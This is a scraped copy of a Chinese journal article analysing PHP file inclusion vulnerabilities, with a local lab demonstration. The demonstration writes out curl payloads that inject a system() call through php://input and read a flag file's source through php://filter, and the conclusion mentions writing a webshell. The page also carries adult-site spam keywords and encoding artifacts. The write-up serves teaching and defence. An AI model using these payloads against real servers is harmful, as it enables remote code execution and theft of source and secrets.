• 
    

    
    

      99热精品在线国产_美女午夜性视频免费_国产精品国产高清国产av_av欧美777_自拍偷自拍亚洲精品老妇_亚洲熟女精品中文字幕_www日本黄色视频网_国产精品野战在线观看 ?

      PHP文件包含漏洞分析

      2020-05-26 02:03:34魯先志柏海龍周均
      卷宗 2020年8期
      關(guān)鍵詞:漏洞

      魯先志 柏海龍 周均

      摘 要:文件包含漏洞是PHP語(yǔ)言開發(fā)的web系統(tǒng)中普遍存在的一類漏洞,本文分析了文件包含漏洞的原理,設(shè)計(jì)一個(gè)實(shí)驗(yàn)案例展示文件包含漏洞的利用過(guò)程。

      關(guān)鍵詞:漏洞;PHP語(yǔ)言;web系統(tǒng)

      PHP語(yǔ)言開發(fā)的WEB系統(tǒng)程序有著快速開發(fā)快速部署,系統(tǒng)開發(fā)實(shí)施周期短的優(yōu)勢(shì),但PHP語(yǔ)言開發(fā)的WEB系統(tǒng)也普遍存在一些典型的漏洞,如:跨站腳本漏洞、SQL注入漏洞、代碼執(zhí)行漏洞、文件包含漏洞及PHP代碼注入漏洞等[1]。

      1 文件包含基本概念

      文件包含漏洞主要是基于PHP語(yǔ)言的web應(yīng)用程序中發(fā)生的。程序員寫程序時(shí)將公用代碼寫在單獨(dú)的文件中,然后其他函數(shù)需要使用該代碼時(shí)直接包含調(diào)用[2]。嚴(yán)格來(lái)說(shuō),文件包含漏洞是“代碼注入”的一種?!按a注入”這種攻擊,其原理就是注入一段用戶能控制的腳本或代碼,并讓服務(wù)器端執(zhí)行?!按a注入”的典型代碼就是文件包含,可以理解為“外部數(shù)據(jù)流包含”,至于這個(gè)外部數(shù)據(jù)流是什么,可以是文件,也可以是POST數(shù)據(jù)流的形式。

      2 PHP的封裝協(xié)議(偽協(xié)議)

      php漏洞利用中常用偽協(xié)議為以下兩種:

      ①php://filter--對(duì)本地磁盤文件進(jìn)行讀寫,改協(xié)議經(jīng)常用來(lái)讀取源代碼并進(jìn)行base64編碼輸出,不然會(huì)直接源代碼會(huì)當(dāng)做php代碼執(zhí)行就看不到源代碼內(nèi)容。

      條件:allow_url_fopen :off/on? allow_url_include:off/on

      用法:php://filter/convert.base64-encode/resource=a.php

      //將a.php源代碼以base64編碼輸出

      ②php://input 可以訪問請(qǐng)求的原始數(shù)據(jù)的只讀流,將post請(qǐng)求中的數(shù)據(jù)作為PHP代碼執(zhí)行。

      條件:allow_url_fopen :off/on? ? allow_url_include:on

      用法:http://127.0.0.1/cmd.php?file=php://input

      [POST DATA] <?php phpinfo()?>//執(zhí)行phpinfo函數(shù)

      除了以上的協(xié)議以外,php支持的還有以下封裝協(xié)議(其中常用為data與ftp協(xié)議):file:// http:// ftp:// php:// zlib:// glob:// phar:// ssh2:// rar:// ogg:// expect://

      3 php文件包含漏洞的實(shí)現(xiàn)

      本實(shí)驗(yàn)搭建了一個(gè)具有PHP文件包含漏洞的web系統(tǒng),通過(guò)使用的工具是Linux系統(tǒng)下的curl命令,實(shí)現(xiàn)對(duì)目標(biāo)服務(wù)器127.0.0.1:7521的滲透,并成功獲取到系統(tǒng)的敏感信息。

      1.通過(guò)curl命令訪問目標(biāo)網(wǎng)址:curl 127.0.0.1:7521

      2.上圖顯示了目標(biāo)系統(tǒng)的網(wǎng)頁(yè)源碼和兩項(xiàng)php配置

      1.源代碼中有include函數(shù),并且存在未過(guò)濾的可控參數(shù)path,此處存在有文件包含漏洞的風(fēng)險(xiǎn)。

      2.系統(tǒng)中有兩項(xiàng)文件包含的相關(guān)配置,allow_url_fopen為off,allow_url_include為on,遠(yuǎn)程文件包含需要allow_url_fopen為on,所以無(wú)法進(jìn)行直接包含遠(yuǎn)程文件,達(dá)到getshell

      3.PHP配置項(xiàng)allow_url_include為on,所以可以通過(guò)相關(guān)偽協(xié)議達(dá)到文件讀取與命令執(zhí)行的目的,data協(xié)議需要兩項(xiàng)都為on,此處使用php://filter和php://input達(dá)到目的。

      4.通過(guò)命令執(zhí)行讀取本地文件

      通過(guò)可控的path參數(shù),利用php://input,注入php的命令執(zhí)行語(yǔ)句,來(lái)達(dá)到命令執(zhí)行。(此處使用system函數(shù)),通過(guò)curl發(fā)送如下包

      curl -d “<?php system(ls); ?>”/

      http://127.0.0.1/index.php?path=php://input

      5.查看返回的數(shù)據(jù)中,標(biāo)簽后有我們執(zhí)行后的結(jié)果。此處有三個(gè)文件,可以猜測(cè)出flag應(yīng)該在f10g.php文件中。

      6.訪問f10g.php? curl http://127.0.0.1:7521/f10g.php

      7.通過(guò)php://filter讀取f10g.php源代碼

      curl \

      http://127.0.0.1:7521/index.php?path=php://filter/convert.base64-encode/resource=f10g.php

      返回的數(shù)據(jù)中標(biāo)簽后有base64編碼后的顯示有源代碼數(shù)據(jù),可以通過(guò)base64解碼來(lái)查看源代碼

      4 小結(jié)

      本次的滲透測(cè)試案例展示了一個(gè)簡(jiǎn)單的PHP文件上傳漏洞并利用該漏洞獲取到系統(tǒng)的敏感數(shù)據(jù)。我們?cè)趯?shí)際的滲透過(guò)程中可以通過(guò)多種方式來(lái)利用該漏洞,根據(jù)系統(tǒng)環(huán)境中PHP配置文件和服務(wù)器配置的不同來(lái)靈活利用該漏洞,比如可以利用php://input來(lái)寫入一句話木馬,也可以直接讀取關(guān)鍵配置文件,還可以通過(guò)php://input執(zhí)行系統(tǒng)命令。

      參考文獻(xiàn)

      [1]劉鵬,張玉清常見安全漏洞攻防研究[J].信息網(wǎng)絡(luò)安全,2011(07)33-36.

      [2]周開東等.遠(yuǎn)程文件包含漏洞分級(jí)檢測(cè)工具研究[J].計(jì)算機(jī)應(yīng)用與軟件,2014(02)21-23.

      [3]趙潤(rùn)梓.基于WEB滲透的自動(dòng)化文件上傳漏洞檢測(cè)工具實(shí)現(xiàn)[J].網(wǎng)絡(luò)全,2020(03)27-28.

      猜你喜歡
      漏洞
      漏洞
      網(wǎng)絡(luò)安全漏洞管理與漏洞情報(bào)庫(kù)建設(shè)方案探討及研究
      漏洞在哪里
      基于selenium的SQL注入漏洞檢測(cè)方法
      電子制作(2019年11期)2019-07-04 00:34:40
      Windows 10被曝新零日漏洞涉及3大版本
      偵探推理游戲(二)
      三明:“兩票制”堵住加價(jià)漏洞
      漏洞在哪兒
      Java 反序列化漏洞研究
      高鐵急救應(yīng)補(bǔ)齊三漏洞
      伊通| 武邑县| 泸溪县| 洛隆县| 东乌珠穆沁旗| 柏乡县| 富阳市| 洛隆县| 鹤峰县| 交口县| 得荣县| 临汾市| 昌都县| 巴林左旗| 醴陵市| 乌苏市| 滨海县| 大新县| 平遥县| 平邑县| 旺苍县| 宽城| 西青区| 砀山县| 梅河口市| 广饶县| 确山县| 石阡县| 建水县| 泽普县| 延安市| 紫阳县| 杂多县| 台安县| 津南区| 图们市| 濉溪县| 长岭县| 建德市| 连城县| 交城县|